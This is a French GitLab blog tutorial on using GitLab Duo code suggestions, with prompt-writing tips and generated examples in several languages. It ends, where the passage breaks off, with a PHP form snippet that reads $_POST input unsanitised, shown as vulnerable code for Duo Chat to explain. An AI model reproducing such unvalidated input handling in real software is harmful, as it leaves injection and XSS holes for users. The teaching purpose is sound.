GitLab Duo, notre suite de fonctionnalités alimentées par l'IA, offre une occasion unique d'optimiser vos workflows DevSecOps. Pour en tirer pleinement parti, rien ne vaut la pratique et l'apprentissage collaboratif en situation réelle. Ce tutoriel se concentre sur les suggestions de code de GitLab Duo. Il fournit des conseils et des bonnes pratiques ainsi que quelques bonus (notamment comment combiner les suggestions de code avec nos autres fonctionnalités d'IA pour gagner encore en efficacité). Vous découvrirez également comment l'IA améliore considérablement l'expérience développeur.
Les bonnes pratiques, conseils et exemples présentés dans cet article ont été conçus sur mesure par l'équipe Developer Relations de GitLab. Ils sont intégrés à la documentation dédiée à GitLab Duo ainsi qu'au projet GitLab Duo Prompts associé. N'hésitez pas à ajouter cette page à vos favoris et revenez-y dès que vous en ressentirez le besoin.
Pourquoi utiliser les suggestions de code de GitLab Duo ?
Prenons comme exemple deux scénarios :
-
En tant que développeur senior, vous maîtrisez différents langages de programmation pour pouvoir écrire du nouveau code source, réviser celui de vos pairs, concevoir des architectures résilientes et lancer de nouveaux projets. Cependant, se former sur les nouvelles fonctionnalités des langages de programmation nécessite du temps, des recherches et un réel effort d'adaptation. Alors, comment apprendre rapidement celles qui pourraient rendre votre code encore plus performant ou utiliser les ressources de manière plus durable ?
- Personnellement, j'ai appris la norme C++03, puis adopté C++11 sans jamais vraiment m'approprier les versions C++14/17/20/23. Entre-temps, de nouveaux langages tels que Rust sont apparus, et ils offrent une expérience développeur bien plus moderne. Que faire dans ce contexte ?
-
En tant qu'ingénieur junior, il peut être difficile d'appréhender de nouveaux projets, d'apprendre un nouveau langage de programmation, de comprendre certains algorithmes spécifiques et de trouver la documentation sur les structures, les interfaces et d'autres composants techniques. Le tout, souvent sous pression, ce qui augmente le risque d'erreurs et entraîne des blocages. Le temps manque pour se pencher sur les bonnes pratiques.
- Moi-même, je n'ai jamais réellement appris le développement frontend. J'ai quelques notions en HTML, CSS et JavaScript acquises en autodidacte. Et après dix ans, j'ai du mal à m'adapter à des frameworks frontend tels que VueJS. Et le temps pour apprendre se fait rare.
Ces scénarios illustrent à quel point il est difficile de suivre l'évolution constante des langages de programmation, bonnes pratiques et autres informations importantes. Mais les suggestions de code de GitLab Duo peuvent vous aider : elles prédisent et complètent vos blocs de code, définissent la logique de vos fonctions, génèrent des tests automatisés et proposent du code courant, comme des motifs regex, le tout directement dans votre environnement de développement. Alimentée par l'IA, cette fonctionnalité vous aide à approfondir vos connaissances sans quitter votre workflow.
Commencer avec des prompts simples, puis les affiner
J'ai commencé mon parcours d'adoption de GitLab Duo par des prompts simples tenant sur une ligne, souvent avec des résultats peu convaincants.
# Generate a webserver
// Create a database backend
/* Use multi-threaded data access here */
Après avoir testé différents contextes et styles de rédaction de prompts, j'ai rapidement constaté que la génération de code était beaucoup plus pertinente à partir de requêtes affinées.
# Generate a webserver, using the Flask framework. Implement the / URL endpoint with example output.
// Create a database backend. Abstract data handlers and SQL queries into function calls.
/* Use multi-threaded data access here. Create a shared locked resource, and focus on supporting Linux pthreads. */
Cependant, les prompts et commentaires seuls ne suffisent pas. Explorons d'autres bonnes pratiques.
Pratiquer continuellement
Dans vos workflows quotidiens, identifiez des cas d'utilisation et des défis spécifiques, et utilisez exclusivement GitLab Duo pour les traiter. Bien qu'il soit tentant d'ouvrir des onglets de recherche dans votre navigateur, vous pouvez souvent résoudre le problème directement dans votre IDE avec GitLab Duo. Voici quelques exemples :
- Corrigez des dépendances manquantes, souvent responsables d'échecs lors de la compilation ou de l'exécution.
- Laissez les suggestions de code compléter automatiquement les appels de fonction lorsque le contexte de journalisation est manquant, y compris les instructions
print.
- Générez des méthodes et des attributs courants pour les design patterns orientés objet (par exemple, les accesseurs/mutateurs getter/setter, les méthodes
toString(), les opérateurs de comparaison d'objets, l'héritage d'objets, et bien plus encore).
- Identifiez la fonction à l'origine de plantages aléatoires et implémentez-en une nouvelle avec un algorithme différent à l'aide des suggestions de code.
- En cas d'erreur cryptique empêchant la compilation ou l'exécution, demandez à GitLab Duo Chat de vous aider.
- Analysez le code (hérité) existant et les stratégies pour documenter et refactoriser le code vers des bibliothèques modernes. Lancez une version v2 de l'application avec un nouveau framework ou langage afin de réduire la dette technique.
- Prévenez les problèmes d'opérations et de sécurité dans l'historique Git en les détectant en amont (performances, plantages, failles de sécurité).
Enfin, pensez à la tâche de codage la plus ennuyeuse (voire celle que vous détestez le plus) et ajoutez-la à cette liste. Personnellement, je redoute les tâches impliquant les accesseurs/mutateurs getter/setter d'attributs dans les classes C++ (comme le montre la vidéo ci-dessous), juste avant les expressions régulières d'analyse du format des adresses e-mail.
<!-- blank line -->
<figure class="video_container">
<iframe src="https://www.youtube.com/embed/Z9EJh0J9358?si=QGvQ6mXxPPz4WpM0" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
<!-- blank line ->
Il peut également être utile d'utiliser les suggestions de code dans différents langages de programmation, par exemple en alternant entre langages backend et frontend. Si vous maîtrisez plusieurs d'entre eux, réutilisez ceux que vous n'avez pas pratiqués depuis un certain temps, ou envisagez d'en apprendre un nouveau, tel que Python ou Rust.
Une fois intégrées dans un workflow d'auto-complétion rapide, les suggestions de code ne souffrent d'aucune interruption. Le code suggéré s'affiche en grisé et reste facultatif, selon l'interface utilisateur, par exemple VS Code, ce qui ne vous empêchera pas de continuer à écrire du code source sans distraction. Prenez le temps de vous familiariser avec la façon dont les suggestions de code s'affichent et la manière de les accepter entièrement ou partiellement. Vous verrez qu'elles deviendront très vite une aide discrète mais précieuse pour écrire du code de meilleure qualité.
Corriger les dépendances manquantes
Il n'est pas rare que la compilation ou l'exécution du code source échoue à cause de dépendances non déclarées, qui peuvent être journalisées et empêcher toute exécution et tout test ultérieurs. Prenons l'exemple suivant en Go : une erreur générée par go build signale que le code source n'a pas encore importé les dépendances nécessaires. L'approche manuelle consisterait à collecter toutes les dépendances répertoriées, à les trier de manière unique et à les ajouter dans le fichier de code source, comme illustré ci-dessous.
Mais si GitLab Duo connaît déjà le contexte du fichier et peut identifier les dépendances manquantes, pourquoi ne pas en profiter ? Dans la section située tout en haut du fichier, il suffit d'ajouter un commentaire indiquant // add missing imports, puis de patienter un instant : les suggestions de code proposeront automatiquement les lignes à importer.
Ensuite, relancez go build, et si tout se passe bien, le code source pourra être testé et s'exécutera correctement.
Générer du code standardisé avec une journalisation optimisée
Défi : mettre en place un système de journalisation, et d'autres mécanismes d'observabilité incluant des indicateurs et traces, peut s'avérer fastidieux et complexe. Quel est le moyen le plus efficace de les mettre en œuvre sans affecter les performances de l'application ni introduire de bogues ?
Solution : utilisez les suggestions de code pour générer les appels de fonction de journalisation et refactorisez le code en vous appuyant sur des abstractions robustes via des bibliothèques d'instrumentation dédiées à l'observabilité. Cette approche peut par exemple vous aider à préparer le code pour une intégration ultérieure avec OpenTelemetry.
Exemple d'une classe de journalisation en Ruby :
# Create Logging utility class
# Define default log level as attribute
# Add method for logging, inputs: level, app, message
# Print the data with formatted date and time in syslog format
# Potential AI-generated code below
class Logging
attr_accessor :log_level
def log(level, app, message)
time = Time.now.strftime("%b %d %H:%M:%S")
puts "#{time} #{app}[#{Process.pid}]: #{level} - #{message}"
end
end
# Instantiate class and test the log method
# Potential AI-generated code below
logger = Logging.new
logger.log_level = :debug
logger.log(:info, 'MyApp', 'Application started - info')
logger.log(:debug, 'MyApp', 'Application started - debug')
logger.log(:error, 'MyApp', 'Application started - error')
logger.log(:fatal, 'MyApp', 'Application started - fatal')
logger.log(:warn, 'MyApp', 'Application started - warn')
Créer des tests pour les fonctions d'assistance utilitaires
Défi : le langage de programmation utilisé ne fournit pas certaines fonctions de base dans sa bibliothèque standard. L'envie est grande d'ouvrir un onglet de recherche dans mon navigateur pour trouver et ajouter des fonctions de manipulation de chaînes et d'analyse via des expressions régulières.
Solution : Créez un fichier nommé utility.{language-suffix} et ajoutez un commentaire en tête de fichier. Demandez ensuite aux suggestions de code de générer la fonction de manipulation de chaîne ().
Exemple de méthode de manipulation de chaîne en Python :
# Create a function to search for a string in a string, return the index
# Optionally remove search string, and return modified string
# Test the function on the string "Cool programming languages: C++, Rust, Python" - Remove the string "C++"
# Potential AI-generated code below
def search_and_remove(text, search):
index = text.find(search)
if index != -1:
return index, text[:index] + text[index+len(search):]
else:
return None, text
text = "Cool programming languages: C++, Rust, Python"
index, new_text = search_and_remove(text, "C++")
print(index, new_text)
Exercice asynchrone : demandez à GitLab Duo Chat comment ajouter des tests en Python, sélectionnez le code source concerné et utilisez la commande slash /tests.
Exemple similaire en Go : créez des fonctions utilitaires pour obtenir les valeurs entières uniques dans un tableau, ou pour calculer la somme de toutes les valeurs paires. Commencez par définir la structure du projet via go mod init gitlab.com/group/project, puis créez un fichier array.go. Définissez le package et ajoutez un premier commentaire pour générer des fonctions.
package array
// Create a function that returns unique values from an integer array
// Possible AI-generated code
func unique(ints []int) []int {
occurred := map[int]bool{}
result := []int{}
for _, i := range ints {
if !occurred[i] {
occurred[i] = true
result = append(result, i)
}
}
return result
}
// Create a function that returns the sum of all even numbers in an integer array
// Possible AI-generated code
func sumEvens(ints []int) int {
var sum int
for _, i := range ints {
if i%2 == 0 {
sum += i
}
}
return sum
}
Exercice asynchrone : créez plus de fonctions utilitaires dans des bibliothèques dédiées et utilisez GitLab Duo Chat pour sélectionner et générer les tests via la commande /tests. Pour l'exemple en Go, vous pouvez consulter les solutions potentielles disponibles dans le fichier go/utility/array_test.go du projet Prompts de GitLab Duo. Compilez et testez ensuite le code à l'aide de go build && go test.
Générer des expressions régulières sur mesure
Les expressions régulières sont des lignes de code, souvent sur une seule ligne (ou « one liners » en anglais), que les développeurs aiment écrire à la va-vite, qui fonctionnent et donc, qu'ils ne mettent jamais à jour. Il est possible d'utiliser git blame pour savoir qui l'a écrite et quand, mais le contexte de ces lignes reste souvent obscur. GitLab Duo peut vous aider à les créer, les expliquer et les refactoriser, comme dans l'exemple suivant :
Défi : certaines expressions régulières pour analyser des adresses IPv6 et IPv4 ne fonctionnent pas. Quelle est la meilleure approche pour résoudre ce problème ?
Solution : ajoutez les commentaires suggérés par les suggestions de code pour générer des exemples adaptés à ces types de regex. Utilisez également GitLab Duo Chat pour poser vos questions et demandez des variantes dans d'autres langages. Vous pouvez également sélectionner un extrait de code source et soumettre un prompt affiné avec /refactor using regular expressions via Chat.
Exercice asynchrone : choisissez votre langage préféré, créez une fonction factice (stub) qui vérifie que format des chaînes d'adresses IPv6 et IPv4 est valide. Laissez les suggestions de code générer le code d'expression régulière de vérification à votre place. Vous pouvez également utiliser Chat pour affiner ou refactoriser cette regex pour bénéficier de meilleures performances.
Exemple pour ce tutoriel : j'ai choisi TypeScript, un langage qui figure sur ma liste d'apprentissage personnelle pour 2024. Voici mon prompt : '// Generate a TypeScript function which parses IPv6 and IPv4 address formats. Use regular expressions`.
Maîtriser les suggestions de code
Vous pouvez activer les suggestions de code en appuyant sur la touche Entrée ou Espace, selon le contexte. Dans VS Code comme dans le Web IDE de GitLab, l'icône GitLab Duo s'affiche sur la même ligne que la suggestion, ainsi qu'en bas de la fenêtre.
Si vous avez accepté une suggestion, mais que vous souhaitez en fait en essayer une autre, sélectionnez la ligne de code concernée, supprimez-la et reprenez à zéro.
Astuce : cette vidéo présente des combinaisons de touches et des stratégies complémentaires pour mieux utiliser les suggestions de code :
<!-- blank line -->
<figure class="video_container">
<iframe src="https://www.youtube.com/embed/ORpRqp-A9hQ?si=CmA7PBJ9ckWsvjO3" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
<!-- blank line ->
Utiliser les raccourcis clavier pour relancer les suggestions de code
En particulier dans la phase d'adoption initiale des suggestions de code, vous devrez vous entraîner pour obtenir des résultats optimaux à partir des commentaires, du style de code existant, etc., mis en contexte.
Voici quelques combinaisons de touches couramment utilisées pour déclencher des suggestions :
- Appuyez sur
Entrée et attendez que la suggestion s'affiche.
- Appuyez sur
Espace, puis sur Retour arrière pour supprimer immédiatement l'espace.
- Appuyez sur
Entrée à nouveau pour déclencher une nouvelle suggestion, puis sur Retour arrière pour effacer les nouvelles lignes vides restantes.
Lorsqu'une suggestion semble pertinente, ou que vous souhaitez tester jusqu'où elle peut vous mener :
- Continuez à appuyer sur la touche
Tab pour l'accepter.
- Ajoutez un espace ou appuyez sur
Entrée pour ouvrir une nouvelle portée afin de déclencher une nouvelle suggestion.
- Continuez à accepter les suggestions avec
Tab.
Notez que l'IA générative finit parfois par suggérer en boucle des chemins de code similaires, encore et encore. Vous pouvez déclencher ce comportement en insérant des données de test dans un tableau (par exemple, des chaînes et des nombres de manière ordonnée) ou en générant plusieurs points de terminaison d'API, car elle essaie alors d'anticiper les autres points de terminaison qui pourraient être utiles. Dans ce cas, interrompez le flux d'acceptation et continuez à écrire du code normalement.
Gérer les suggestions de code incomplètes
Parfois, les suggestions de code s'arrêtent au milieu d'une définition de variable, de fonction, ou d'une structure incomplète. Si vous avez un doute quant à la syntaxe ou souhaitez relancer les suggestions de code, voici quelques options possibles :
- Supprimez le ou les derniers caractères, voire la ligne dans son intégralité, avec la touche
Retour arrière.
- Vous pouvez également utiliser
Maj curseur gauche (sélectionner les caractères) cmd Maj curseur gauche (sélectionner la ligne entière), puis appuyer sur Retour arrière.
- Une autre option consiste à placer le curseur sur la ligne du dessus, puis appuyez sur
Entrée pour forcer à nouveau le déclenchement des suggestions de code.
Gérer les suggestions de code qui s'interrompent
Si les suggestions de code cessent de fonctionner, plusieurs raisons peuvent en être à l'origine :
- La portée du fichier actuel se termine, par exemple, une fonction
main() a été entièrement générée et fermée.
- Il peut s'agit d'un problème de connexion à l'instance GitLab (édition Self-Managed) ou à GitLab.com (SaaS, Dedicated). Dans ce cas, référez-vous à la documentation de dépannage.
Différencier suggestions et génération de code
Les suggestions de code s'affichent à mesure que vous écrivez du code pour vous aider à compléter une ou plusieurs lignes. La génération de code, quant à elle, nécessite davantage de contexte pour créer des blocs entiers, comme des fonctions, des algorithmes, des classes, et bien plus encore.
Les sections suivantes expliquent en détail les deux approches et comment commencer, avec un exemple pratique.
Intégrer les commentaires au flux de suggestions de code
Utilisez votre flux de programmation naturel et insérez des commentaires de code lorsque cela fournit du contexte afin d'obtenir de meilleures suggestions. Pour accepter les suggestions de code, appuyez sur la touche Tab, ou acceptez-les mot par mot à l'aide du raccourci cmd + flèche droite.
Le défi suivant consiste à implémenter un outil de statistiques Linux simple, en C, qui reproduit les fonctionnalités des commandes CLI iostat, vmstat et du. Parfois, ces indicateurs détaillés sont utiles pour présenter les statistiques de l'application, ou faciliter le débogage, notamment lors de la collecte de données d'assistance auprès des utilisateurs.
Créez un répertoire d'application nommé linux_stat ainsi qu'un fichier main.c, puis laissez les suggestions de code compléter le reste à partir d'un simple bloc de commentaires initial :
// Create a Linux statistic tool
// Collect IO, performance, disk usage, TCP latency
// Print summaries
Appuyez ensuite sur Entrée pour déclencher la création de la méthode main(). Si elle n'est pas créée automatiquement, ajoutez un nouveau commentaire explicite pour forcer sa création.
// Create main function to collect data
Lors de mes tentatives, l'IA générative n'a pas immédiatement implémenté toutes les fonctionnalités. Au lieu de cela, elle a ajouté un commentaire TODO dans le bloc de code suivant.
int main() {
struct stat statbuf;
if (stat("/etc", &statbuf) != 0) {
perror("stat");
return 1;
}
printf("IO Block Size: %ld
", statbuf.st_blksize);
// TODO: add CPU usage, disk usage, network latency measurements
return 0;
}
Placez le curseur après le commentaire TODO, puis ajoutez un nouveau commentaire pour collecter les données sur l'utilisation du CPU :
// Collect CPU usage
// Example for AI-generated code below
double cpu_usage;
FILE* stat_file = fopen("/proc/stat", "r");
if (stat_file == NULL) {
perror("fopen");
return 1;
}
// Parse /proc/stat to get CPU usage
fscanf(stat_file, "cpu %lf", &cpu_usage);
printf("CPU Usage: %.2f%%
", cpu_usage * 100);
fclose(stat_file);
Le code généré peut ne pas être précis à 100 %, car la mesure de l'utilisation du CPU sur Linux nécessite de prendre des échantillons sur une plage de temps définie. Il faudra donc calculer l'utilisation réelle du processeur à partir de toutes les valeurs dans /proc/stat, y compris system, nice, user, idle, iowait, etc..
Exercice asynchrone : optimisez le processus de collecte en ajoutant un calcul de moyenne.
Répétez les étapes pour mesurer l'utilisation du disque et la latence du réseau. Vous rédigez le commentaire, et GitLab Duo génère le code C.
// Collect disk usage
// Collect network latency
// Example for AI-generated code below
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in servaddr;
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(80);
inet_pton(AF_INET, "8.8.8.8", &servaddr.sin_addr);
Le code généré peut utiliser une adresse IP publique pour tester la latence du réseau. Remplacez-la par l'adresse actuelle de GitLab.com.
inet_pton(AF_INET, "172.65.251.78", &servaddr.sin_addr);
Le code source généré a ajouté plus de dépendances d'en-tête. Accédez à la section supérieure du fichier et ajoutez un commentaire pour inclure tous les en-têtes nécessaires :
// Import required headers
Compilez et exécutez l'application sur Linux, par exemple sur Ubuntu 22 LTS :
# Install compiler
apt install gcc
# Build
gcc main.c -o linux_stat
# Build: If the math.h header is included, linking against the library is needed, too
gcc linux_stat.c -o linux_stat -lm
# Run the tool
./linux_stat
Bonus : modifiez le code pour utiliser IPv6 et récupérez l'adresse IPv6 de GitLab.com (dig gitlab.com AAAA +short).
// Collect network latency
// Use IPv6
// Example for AI-generated code below
struct sockaddr_in6 servaddr;
servaddr.sin6_family = AF_INET6;
servaddr.sin6_port = htons(80);
//inet_pton(AF_INET6, "2001:db8::1", &servaddr.sin6_addr);
inet_pton(AF_INET6, "2606:4700:90:0:f22e:fbec:5bed:a9b9", &servaddr.sin6_addr);
int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
Le code source complet et fonctionnel est disponible dans le projet GitLab Duo Prompts, dans le répertoire dédié au code C.
Exercice asynchrone : refactorisez le code C en code Rust, en utilisant uniquement GitLab Duo. Commencez par sélectionner le code source, puis saisissez le prompt /refactor into Rust dans GitLab Duo Chat.
Astuce : des commentaires de code bien rédigés améliorent la lisibilité du code source. Ils facilitent l'intégration de nouveaux membres dans l'équipe, aident les ingénieurs de la fiabilité des sites à déboguer les incidents en production et guident les contributeurs open source dans leurs premières merge requests.
Orienter la génération de code avec des commentaires explicites
Le code source peut être structuré en plusieurs fichiers. Que vous conceviez une nouvelle architecture applicative ou refactorisiez un code existant, GitLab Duo vous aide à générer du code automatiquement.
Commencez par ajouter une section de commentaires en haut du fichier détaillant chaque étape. N'hésitez pas à diviser les commentaires les plus longs en plusieurs lignes, en reprenant les exemples de cet article. Ce modèle vous aide à réfléchir aux exigences du projet et à affiner vos prompts.
# Generate a webserver, using the Flask framework.
# Implement the / URL endpoint with example output.
+# Add an endpoint for Promtheus metrics
// Create a database backend.
// Abstract data handlers and SQL queries into function calls.
+// Use PostgreSQL as default backend, and SQLite for developers as fallback.
/*
Use multi-threaded data access here.
Create a shared locked resource, and focus on supporting Linux pthreads.
+Abstract the thread creation/wait procedures into object-oriented classes and methods.
*/
Découvrez d'autres prompts de génération de code pour les langages de programmation pris en charge dans la documentation présentant les cas d'utilisation de GitLab Duo.
Définir l'intention de la requête
En fonction du Language Server de GitLab que vous utilisez dans votre IDE, les suggestions de code analysent l'intention de votre saisie et proposent des suggestions de complétion de code en ligne ou des blocs de code.
La technologie en arrière-plan s'appuie sur TreeSitter pour analyser le code dans un arbre de syntaxe abstraite (AST) et déterminer si la portée se trouve dans une section de commentaires de code (génération) ou dans du code source (complétion). Cette détection doit être exécutée rapidement sur l'IDE client et s'avère être un excellent cas d'utilisation pour WebAssembly. Pour en savoir plus, consultez cet epic et la vidéo suivante, qui présente le Language Server de GitLab qui alimente les suggestions de code :
<!-- blank line -->
<figure class="video_container">
<iframe src="https://www.youtube.com/embed/VQlWz6GZhrs" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
<!-- blank line -->
Structurer la requête comme une histoire
La génération de code est un art. Formulez votre demande sous forme d'une histoire et GitLab Duo, alimenté par l'IA, pourra vous aider.
L'exemple suivant vise à implémenter un magasin clé-valeur en mémoire en Go, à la manière de Redis. Commencez par rédiger un commentaire descriptif, puis passez à la ligne suivante et appuyez sur Entrée pour déclencher les suggestions de code.
// Create an in-memory key value store, similar to Redis
// Provide methods to
// set/unset keys
// update values
// list/print with filters
Soyez explicite et précisez : quelles sont les méthodes nécessaires pour manipuler les données ? Demandez aux suggestions de code de générer des méthodes pour définir des clés, mettre à jour des valeurs et répertorier toutes les données stockées.
// Create an in-memory key value store, similar to Redis
// Provide methods to
// set/unset keys
// update values
// list/print with filters
Acceptez les suggestions à l'aide de la touche Tab. Ensuite, demandez aux suggestions de code de créer une fonction main accompagnée de code de test.
// Create a main function and show how the code works
Si les données de test ne suffisent pas, affinez le code généré en vous concentrant sur les scénarios de test extrêmes.
Astuce : vous pouvez utiliser la même méthode pour affiner les prompts et générer des tests avec GitLab Duo Chat via /tests focus on extreme test cases.
// Add more random test data, focus on extreme test cases
L'exemple complet, y compris les dépendances corrigées, se trouve dans le projet gitlab-duo-prompts dans le répertoire code-suggestions/go/key-value-store. Mettez à jour le fichier main.go, puis compilez et exécutez le code à l'aide de la commande suivante :
go build
./key-value-store
Cette première itération consiste à créer un binaire autonome et à tester différentes stratégies de mise en œuvre pour les magasins clé-valeur. Validez le code fonctionnel et passez à l'étape suivante de votre parcours d'adoption de GitLab Duo.
Astuce : les nouveaux projets tirent parti de la génération de code, mais requièrent de la pratique et des techniques avancées pour exploiter efficacement les commentaires de code en tant que prompts. Cette approche peut aussi optimiser les workflows des développeurs expérimentés. Les études de faisabilité, l'intégration de nouvelles bibliothèques ou les itérations ne sont pas toujours compatibles avec le framework ou le projet existant. Les développeurs expérimentés optent alors pour créer des projets temporaires en isolant ou simplifiant la portée de certaines fonctionnalités, par exemple, pour tester une nouvelle couche backend de base de données en comparant ses performances à celles de l'environnement de production. Ou pour remplacer une bibliothèque présentant des failles de sécurité ou des problèmes de licence par une alternative plus sûre ou une fonctionnalité intégrée au code.
Accélérer les itérations avec la génération de code
Comme le dirait un développeur expérimenté : « Il existe forcément déjà une bibliothèque clé-valeur en Go, alors inutile de réinventer la roue. » Heureusement, Go est un langage de programmation mature doté d'un écosystème riche. Des projets comme la collection awesome-go — par exemple avelino/awesome-go — recensent de nombreuses bibliothèques d'exemples, ce qui facilite grandement la recherche de solutions existantes. Remarque : cette option n'est pas forcément applicable à tous les langages de programmation et doit être évaluée au cas par cas.
Vous pouvez également poser la question à GitLab Duo Chat : Quelles bibliothèques Go utiliser pour un stockage clé-valeur ?:
Ensuite, affinez le prompt des suggestions de code pour utiliser spécifiquement les bibliothèques suggérées, par exemple BoltDB.
// Create an in-memory key value store, similar to Redis
// Provide methods to
// set/unset keys
// update values
// list/print with filters
+// Use BoltDB as external library
Répétez le schéma ci-dessus : générez les fonctions du code, demandez à GitLab Duo de créer une fonction « main » avec des données de test, puis compilez le code. La principale différence réside dans les bibliothèques externes, qui doivent d'abord faire l'objet d'un pull à l'aide de la commande go get.
go get
go build
En cas d'échec de la compilation due à des dépendances manquantes, comme fmt, profitez-en pour vous entraîner à nouveau avec GitLab Duo : placez le curseur sur l'instruction import et attendez la suggestion ajoute les dépendances nécessaires. Vous pouvez ajouter un commentaire tel que Import all libraries.
Vous pouvez également enrichir les tests avec de nouvelles données afin de vérifier le comportement des fonctions : // Add more random test data, focus on extreme test cases. Dans l'exemple suivant, une clé vide provoque un arrêt brutal du programme.
Cet exemple est une excellente préparation pour les scénarios de test ultérieurs.
Appliquer la génération de code à des cas concrets : observabilité cloud-native
Imaginez une application cliente en Go, chargée de répertorier l'état des conteneurs, pods et services dans un cluster Kubernetes, comme la ligne de commande kubectl get pods. Le projet Kubernetes fournit des bibliothèques Go permettant d'interagir par programmation avec les API, les interfaces et les structures d'objets Kubernetes.
Ouvrez votre IDE et créez un nouveau projet Go.
Astuce : vous pouvez demander à GitLab Duo Chat de vous expliquer la procédure à suivre avec ce prompt : How to start a Go project? Please show CLI command examples.
Commencez par rédiger un commentaire simple en haut du fichier main.go qui décrit l'objectif de l'application : observabilité dans Kubernetes.
// Create a client for Kubernetes observability
Réfléchissez aux principales exigences : accéder à Kubernetes, définir un contexte et un espace de nommage, et inspecter l'état des ressources. En outre, demandez aux suggestions de code d'importer les paquets nécessaires et de créer un paquet « main » dans le fichier main.go.
Première itération :
// Create a client for Kubernetes observability
// Inspect container, pod, service status and print an overview
Vous pourriez obtenir des résultats inattendus, comme le codage en dur des identifiants d'accès, des contextes manquants ou l'échec de la compilation.
Deuxième itération :
// Create a client for Kubernetes observability
// Create a function that
// Read the kubernetes configuration file from the KUBECONFIG env var
// Inspect container, pod, service status and print an overview
L'absence de contextes ou d'espaces de nommage Kubernetes connus peut entraîner l'échec de la compilation ou des comportements inattendus.
Troisième itération :
// Create a client for Kubernetes observability
// Create a function that
// Read the kubernetes configuration file from the KUBECONFIG env var
// Create kubernetes context, namespace default
// Inspect container, pod, service status and print an overview
Cet exemple code en dur le contexte Kubernetes et l'espace de nommage par défaut pour générer une base initiale. Les itérations ultérieures peuvent lire la valeur de l'espace de nommage à partir d'un paramètre de ligne de commande ou d'un fichier de configuration.
Le dernier exemple peut ressembler à ce qui suit. En plus de la fonctionnalité de l'application, il demande également aux suggestions de code d'importer toutes les dépendances et de générer le paquet main dans main.go.
// Create a client for Kubernetes observability
// Create a function that
// Read the kubernetes configuration file from the KUBECONFIG env var
// Create kubernetes context, namespace default
// Inspect container, pod, service status and print an overview
// Import necessary packages
// Create main package
<details> Solution
<summary>
package main
import (
"context"
"fmt"
"os"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/tools/clientcmd"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
)
func main() {
kubeconfig := os.Getenv("KUBECONFIG")
config, err := clientcmd.BuildConfigFromFlags("", kubeconfig)
if err != nil {
panic(err)
}
clientset, err := kubernetes.NewForConfig(config)
if err != nil {
panic(err)
}
pods, err := clientset.CoreV1().Pods("").List(context.TODO(), metav1.ListOptions{})
if err != nil {
panic(err)
}
fmt.Printf("There are %d pods in the cluster
", len(pods.Items))
// Additional code to inspect services, containers, etc
}
</summary>
</details>
Exemple de données de sortie :
Exercice asynchrone : complétez le projet avec du code pour vérifier les services, les conteneurs, etc., puis exportez les résultats vers OpenTelemetry.
Astuce : entraînez-vous avec les cas d'utilisation de GitLab Duo : utilisez les prompts de génération de code dans la documentation ou envoyez des merge requests contenant vos propres prompts fonctionnels.
Alors que nous enregistrions une courte démonstration vidéo illustrant la génération de code, une variante plus aboutie du code a été générée. N'hésitez pas à comparer les différences dans cette validation et tirer parti des deux versions.
<!-- blank line -->
<figure class="video_container">
<iframe src="https://www.youtube.com/embed/ORpRqp-A9hQ" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
<!-- blank line -->
Tirer parti de toutes les fonctionnalités de GitLab Duo
Combiner GitLab Duo Chat avec les suggestions de code
Utilisées avec GitLab Duo Chat, les suggestions de code deviennent encore plus efficaces. Le workflow suivant illustre l'efficacité de cette synergie entre IA et développement logiciel :
Écrivez et générez du code à l'aide des suggestions de code. Le code source sera ensuite vérifié par le biais de l'automatisation CI/CD, de tests de qualité du code et d'un scanning de sécurité. Mais qu'en est-il des connaissances du développeur ?
-
Dans votre IDE, sélectionnez les portions de code générées et utilisez la commande slash /explain dans le prompt de GitLab Duo Chat. Vous pouvez même affiner le prompt en ajoutant /explain with focus on algorithms ou d'autres domaines utiles pour une explication centrée spécifiquement sur les problèmes de sécurité potentiels ou de performance, etc.
- Continuez à écrire et à maintenir votre code, mais gardez à l'esprit qu'à un certain stade, la qualité peut se dégrader et rendre la refactorisation plus complexe. Demandez de l'aide à GitLab Duo Chat.
-
Dans votre IDE, sélectionnez le code source concerné et utilisez la commande slash /refactor dans le prompt de GitLab Duo Chat. Là encore, vous pouvez affiner le prompt pour cibler des design patterns spécifiques (fonctions, classes orientées objet, etc.), comme /refactor into testable functions._
- Après avoir rendu le code plus lisible, vous devez rédiger des tests. Quels sont les scénarios extrêmes ou les exemples de données aléatoires à utiliser pour les tests unitaires ? Ce type de recherche et la mise en œuvre dans différents frameworks peuvent prendre du temps.
-
Dans votre IDE, sélectionnez le code source et utilisez la commande slash /tests dans le prompt de GitLab Duo Chat. Vous pouvez affiner le prompt pour vous concentrer sur des frameworks de test, des scénarios, des méthodes fondées sur les données d'entrée spécifiques, etc.
- Une fois la qualité du code et la couverture des tests assurées, vous pouvez à nouveau vous concentrer sur l'optimisation de vos workflows DevSecOps avec les suggestions de code.
Découvrez d'autres scénarios dans la documentation présentant les cas d'utilisation de GitLab Duo.
Générer des configurations de compilation avec GitLab Duo Chat
Les recherches nécessaires au démarrage d'un nouveau projet sont souvent fastidieuses. Entre les multiples approches possibles et les frameworks alternatifs, il est facile de se retrouver avec une charge de travail bien plus importante que prévue. Certains langages modernes comme Rust imposent une approche unifiée avec un seul outil (Cargo), tandis que d'autres comme Java ou C++ proposent plusieurs méthodes avec des langages de configuration supplémentaires comme Kotlin DSL ou CMake DSL, etc.
Avec GitLab Duo, demandez comment démarrer un projet, générez des configurations adaptées à vos outils de compilation (p. ex. Please show a gradle.build example for Spring Boot), et accélérez les premières étapes de développement, de compilation et de test du code source. Voici quelques exemples de prompts utiles :
- Java, Gradle, Spring Boot :
Please show a gradle.build example for Spring Boot
- C++, CMake, clang :
Please show a basic CMake configuration file for C++17, using clang as compiler.
- Python :
Please show how to initialize and configure a Python project on the CLI
- Rust :
Please show how to initialize and configure a Rust project., suivi d'une question pour affiner le prompt telle que : Explain the structure of Cargo.toml.
- Golang :
Please show how to initialize and configure a Go project.
Demander des explications sur les vulnérabilités à GitLab Duo Chat
Supposons qu'un code PHP a été généré pour créer un formulaire web. Il peut présenter des failles de sécurité potentielles.
<?php
// Create a feedback form for user name, email, and comments
// Render a HTML form
$name = $_POST['name'];
$email = $_POST['email'];
